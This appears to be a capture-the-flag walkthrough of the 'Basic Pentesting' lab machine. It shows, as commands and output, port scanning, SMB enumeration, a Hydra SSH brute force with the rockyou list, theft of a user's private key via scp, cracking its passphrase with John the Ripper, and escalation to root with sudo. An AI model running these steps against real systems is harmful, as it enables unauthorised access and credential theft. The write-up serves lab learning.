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Basic Pentesting

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Walkthrough

1. We have the IP address of the target. Scan it:

`nmap -A -p- {IP}`

```
22/tcp open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|   256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp open  http          Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13        Apache Jserv (Protocol v1.3)
|_ ajp-methods:
|   Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http          Apache Tomcat 9.0.7
|_ http-favicon: Apache Tomcat
|_ http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s
|_ nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-os-discovery:
  OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
  Computer name: basic2
  NetBIOS computer name: BASIC2\x00
  Domain name: \x00
  FQDN: basic2
  System time: 2020-07-22T19:08:48-04:00
smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
smb2-security-mode:
  2.02:
    Message signing enabled but not required
smb2-time:
  date: 2020-07-22T23:08:48
|_ start_date: N/A
```

So, we have the following:

1. SSH running
2. Web App on port 80
3. SAMBA Shares on 445 and 139
4. Tomcat Server on 8080

We have some SMB Shares. Maybe have a look at them?

Run enum4linux to find more information on the SAMBA shares:

1. We got the share name, we can try to access it.

```
Unable to initialize messaging context
Sharename      Type      Comment
-----
Anonymous      Disk
IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.101.89
//10.10.101.89/Anonymous Mapping: OK, Listing: OK
//10.10.101.89/IPC$      [E] Can't understand response:
Unable to initialize messaging context
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
```

2. We got 2 local usernames: 'jan' & 'kay'

```
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
```

1\* Trying to access the "Anonymous" SMB Share:

Smbclient //{Host\_IP}/{Share\_name}

Use "anonymous" for the password for anonymous login as some shares can be viewed anonymously.

```
ilinxz@kali:~/Desktop/Scripts_n_Stuff/enum4linux$ smbclient //10.10.101.89/Anonymous
Unable to initialize messaging context
Enter WORKGROUP\ilinxz's password:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Thu Apr 19 13:31:20 2018
..               D          0   Thu Apr 19 13:13:06 2018
staff.txt        N        173  Thu Apr 19 13:29:55 2018
14318640 blocks of size 1024. 10774376 blocks available
smb: \> █
```

We find staff.txt;

To download the file, we need to write "get staff.txt". This will download the file in the /home/kali directory.

```
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
smb: \> exit
iLinuxz@kali:~/Desktop/Scripts_n_Stuff/enum4linux$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
iLinuxz@kali:~/Desktop/Scripts_n_Stuff/enum4linux$
```

Web App on port 80

Opening the Web Application on port 80 gives us this:

# Undergoing maintenance

**Please check back later**

Check the source code for the page?

```
1 <html>
2
3 <h1>Undergoing maintenance</h1>
4
5 <h4>Please check back later</h4>
6
7 <!-- Check our dev note section if you need to know what to work on. -->
8
9
10 </html>
11
```

We don't have any buttons that can help with navigation throughout the website, therefore, use a hidden directory listing software. E.g. Dirbuster

Using Dirbuster, we found out that the hidden directory is '/development'

| type | found                | response | size |
|------|----------------------|----------|------|
| Dir  | /                    | 200      | 417  |
| Dir  | /icons/              | 403      | 465  |
| Dir  | /development/        | 200      | 1320 |
| Dir  | /icons/small/        | 403      | 471  |
| File | /development/dev.txt | 200      | 745  |
| File | /development/j.txt   | 200      | 494  |

Inside this directory, there are two text files: dev.txt & j.txt

```
← → ↺ 🏠 ⓘ 10.10.101.89/development/dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

```
← → ↺ 🏠 ⓘ 10.10.101.89/development/j.txt

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K
```

j.txt gives us some insight as to how “hard” would it be to crack jan’s password.

Use Hydra to brute force it.

I will be brute forcing the ssh service for the ‘jan’ user.

```
ilinux@kali:~/Desktop/Scripts_n_Stuff/enum4linux$ hydra -l jan -P /home/kali/Desktop/Wordlists/rockyou.txt 10.10.101.89 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-22 19:33:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.101.89:22/
[STATUS] 177.00 tries/min, 177 tries in 00:01h, 14344222 to do in 1350:41h, 16 active
[STATUS] 130.67 tries/min, 392 tries in 00:03h, 14344007 to do in 1829:36h, 16 active
[22][ssh] host: 10.10.101.89 login: jan password:
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-22 19:40:39
```

We cracked jan’s password!

Let’s login with those credentials via SSH...

```
iLinxz@kali:~/Desktop/Scripts_n_Stuff/enum4linux$ ssh jan@10.10.101.89
jan@10.10.101.89's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
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Last login: Wed Jul 22 18:31:28 2020 from 10.11.6.36
jan@basic2:~$ █
```

[Hacker Voice] I'm in...

LOOK AROUND FOR INTERESTING FILES:

```
jan@basic2:~$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw----- 1 root jan 47 Apr 23 2018 .lessht
jan@basic2:~$ cd ..
jan@basic2:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Apr 19 2018 .
drwxr-xr-x 24 root root 4096 Apr 23 2018 ..
drwxr-xr-x 2 root root 4096 Apr 23 2018 jan
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 kay
jan@basic2:/home$ cd kay/
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw----- 1 kay kay 943 Jul 22 19:03 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx----- 2 kay kay 4096 Apr 17 2018 .cache
-rw----- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw----- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw----- 1 root kay 538 Apr 23 2018 .viminfo
jan@basic2:/home/kay$ cd .ssh/
jan@basic2:/home/kay/.ssh$ ls -la
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
jan@basic2:/home/kay/.ssh$
```

We found out that the user Kay can log in to the BASIC2 Host through SSH by using a private key. Let's download it:

```
scp jan@10.10.101.89:/home/kay/.ssh/id_rsa
```

That is the private key itself.

```
ilinxz@kali:~$ scp jan@10.10.101.89:/home/kay/.ssh/id_rsa /home/kali
jan@10.10.101.89's password:
id_rsa
100% 3326 127.5KB/s 00:00
ilinxz@kali:~$
```



Cat id\_rsa:

At the top, the key itself is marked as encrypted.

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr40NGUANKcRxcg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmB487RdFVKTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZH1H3QOFIYLSPMYv79RC65i6frkDSvxXzbdFX
AkAN+3T5FU49AEVKBjtZnLTEBw31mxjv0LLXAqIaX5QfeXMacIQOUWCHATlpVxmN
lG4BaG7cVxs1AmPieFlx7uN4RuB9NZS4Zp0lp1bCb4UEawX0Tt+VKD6kzh+Bk0aU
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VfNSaExXeZA39j0gm3VboN6cAXpZ124Kj0bEwzxCBzWKI0CPHFLYUmoDeLqP/Nik
oSXloJc8aZemIl5RAH5gDCLT4k67wei9j/JQ6zLUT0vSmLono1IiFdsM04nUnyJ3
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3QP52kfZzjBt3cin2AmYv205ENIJvsacPi3PZRNlJsbGmx0kVXdvPC5mR/pnIv
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3Jt1/ZW3Xcb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin90ZTQ02zNxFvpuXthY
-----END RSA PRIVATE KEY-----
```

We are able to crack the key itself by using JohnTheRipper:

1. Create a hash out of the key by using the special John variation of ssh2john:

This will hash out whatever you give it so that JohnTheRipper will be able to understand what it must decrypt.

```
iLinux@kali:~$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
iLinux@kali:~$ ls
Desktop  Documents  Downloads  id_rsa  id_rsa.hash  Music  Pictures  Public  Templates  Videos
iLinux@kali:~$ cat id_rsa.hash
id_rsa:$$hng$1$16$6ABA7DE35CD865070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de01a2712ef86e499d5cad1af838d19402729c471837fbdbe7eb172e8e9cd40ee52d959a3d772204241e305194ee7813ec99be3ced174556
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2. Once the hash has been created, we can pass this over to the main bit of the JohnTheRipper software:

```
iLinux@kali:~$ sudo john --wordlist=/home/kali/Desktop/Wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
(id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:04 DONE (2020-07-22 19:52) 0.2227g/s 3194Kp/s 3194Kc/s 3194KC/s *7jVamos!
Session completed
iLinux@kali:~$
```

We found out the password for the ssh key itself that we can use to authenticate as kay via ssh.



```

iLinxz@kali:~$ chmod 600 id_rsa
iLinxz@kali:~$ ssh -i id_rsa kay@10.10.101.89
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

10.101.89:/home/kay/.ssh/id_rsa /home/kali|
* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Wed Jul 22 19:01:37 2020 from 10.11.6.36
kay@basic2:~$ █

```

[Hacker Voice] I'm in.

```

kay@basic2:~$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw-r--r-- 1 kay kay 943 Jul 22 19:03 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx----- 2 kay kay 4096 Apr 17 2018 .cache
-rw-r--r-- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay 538 Apr 23 2018 .viminfo
kay@basic2:~$ cat pass.bak
kay@basic2:~$ █

```

I believe that is kay's actual password. Let's see what sudo -l provides us with:

```

kay@basic2:~$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
kay@basic2:~$ █

```

I used the password we just found and sudo -l says we can run any command on this host as this user

THUS

```
kay@basic2:~$ sudo su root
root@basic2:/home/kay# ls -la /root
total 28
drwx----- 3 root root 4096 Apr 23 2018 .
drwxr-xr-x 24 root root 4096 Apr 23 2018 ..
-rw----- 1 root root 510 Apr 23 2018 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 1017 Apr 23 2018 flag.txt
drwxr-xr-x 2 root root 4096 Apr 18 2018 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
root@basic2:/home/kay# cat /root/flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!

If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send
me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach
out to me.

Happy hacking!
root@basic2:/home/kay#
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END

